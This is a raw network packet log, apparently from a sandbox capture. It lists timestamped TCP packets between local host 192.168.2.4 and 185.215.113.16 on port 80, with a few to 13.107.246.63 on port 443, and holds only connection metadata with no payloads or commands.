Nov 23, 2024 18:22:28.575773954 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.578035116 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.578083038 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.578114033 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.578161955 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.629446030 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.629462004 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.629501104 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.629518032 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.630228043 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.630273104 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.630342960 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.630476952 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.632674932 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.632726908 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.632858038 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.632973909 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.634979963 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.635056019 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.635093927 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.635138035 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.636862993 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.636910915 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.636979103 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.637031078 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.638719082 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.638782978 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.638808966 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.638850927 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.640566111 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.640620947 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.640650034 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.640691042 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.642673016 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.642719030 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.642754078 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.642947912 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.644783020 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.644836903 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.644898891 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.645128965 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.646318913 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.646361113 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.646436930 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.646579027 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.647900105 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.647943974 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.648008108 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.648072958 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.649807930 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.649853945 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.649909973 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.649949074 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.663603067 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.663618088 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.663672924 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.663871050 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.663918018 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.663981915 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.664030075 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.665030003 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.665077925 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.665137053 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.665180922 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.666239977 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.666286945 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.666337013 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.667371035 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.667426109 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.667454958 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.667498112 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.668606997 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.668658018 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.668700933 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.668745995 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.669812918 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.669866085 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.669903994 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.669950008 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.670810938 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.670861006 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.703455925 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.703505039 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.703663111 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.703773022 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.704009056 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.704052925 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.704067945 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.704111099 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.705199957 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.705250978 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.705261946 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.705305099 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.706381083 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.706479073 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.706522942 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.707490921 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.707576990 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.707623005 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.708641052 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.708703041 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.708761930 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.708806992 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.709832907 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.709880114 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.709917068 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.709959984 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.710974932 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.711016893 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.711091995 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.711139917 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.712105036 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.712232113 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.712291002 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.713263035 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.713308096 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.713387966 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.714409113 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.714452028 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.714517117 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.714562893 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.715586901 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.715645075 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.715684891 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.715723038 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.716746092 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.716877937 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.716937065 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.717900038 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.718005896 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.718048096 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.719059944 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.719104052 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.719139099 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.719182968 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.720211983 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.720256090 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.720336914 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.721394062 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.721502066 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.721524954 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.721554995 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.722557068 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.722598076 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.722671032 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.722716093 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.723704100 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.723752975 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.723804951 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.724239111 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.724934101 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.724987984 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.725018024 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.725059986 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.726067066 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.726197958 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.726234913 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.727238894 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.727291107 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.727325916 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.727368116 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.728341103 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.728441000 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.728488922 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.729495049 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.729552984 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.729609966 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.729655981 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.730654001 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.730705976 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.730758905 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.730906963 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.731801033 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.731843948 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.731926918 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.731965065 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.733000040 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.733052969 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.733180046 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.733222008 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.734123945 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.734244108 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.734285116 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.735316992 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.735495090 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.735537052 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.736458063 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.736548901 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.736592054 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.737636089 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.737679958 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.737699986 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.737746000 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.738765955 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.738822937 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.738887072 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.738926888 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.739948034 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.739995003 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.740246058 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.741127968 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.741180897 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.741236925 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.741281986 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.742259979 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.742376089 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.742422104 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.743432999 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.743510962 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.743556976 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.744590044 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.744633913 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.744765043 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.744807005 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.745764017 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.745814085 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.746012926 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.746325970 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.746906042 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.746958017 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.747020006 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.747061014 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.748086929 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.748140097 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.748183966 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.749207020 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.749301910 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.749353886 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.749563932 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.750365019 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.750504971 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.750556946 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.751847029 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.751900911 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.751905918 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.751949072 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.752670050 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.752710104 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.752784014 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.752830029 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.753838062 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.753961086 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.754009008 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.755012035 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.755075932 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.755098104 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.755140066 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.756114006 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.756175041 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.772464037 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:28.772900105 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:28.772926092 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:28.773344994 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:28.773354053 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:28.874175072 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.874308109 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.874352932 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.874386072 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.874418020 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.874458075 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.875519991 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.875571012 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.875668049 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.875722885 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.876686096 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.876733065 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.876909971 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.876960039 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.877846003 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.877943039 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.877986908 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.879014969 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.879061937 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.879106045 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.879152060 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.880152941 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.880264997 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.880310059 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.881272078 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.881319046 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.913947105 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.913980961 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.914046049 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.914230108 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.914278984 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.914410114 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.914429903 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.914458036 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.914469957 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.915152073 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.915195942 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.915262938 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.915306091 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.916028976 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.916074991 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.916079044 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.916121006 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.916559935 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.916603088 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.916703939 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.916744947 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.917315006 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.917366028 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.917376041 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.918111086 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.918154001 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.918184996 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.918229103 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.918796062 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.918840885 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.918872118 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.918915033 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.919428110 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.919477940 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.919696093 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.920128107 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.920167923 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.920238018 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.920285940 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.920893908 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.920939922 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.920953989 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.920995951 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.921616077 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.921648979 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.921662092 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.921694040 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.922379971 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.922427893 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.922429085 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.922475100 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.923001051 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.923046112 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.923337936 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.923383951 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.923707008 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.923757076 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.923785925 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.923827887 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.924515963 CET	80	49800	185.215.113.16	192.168.2.4
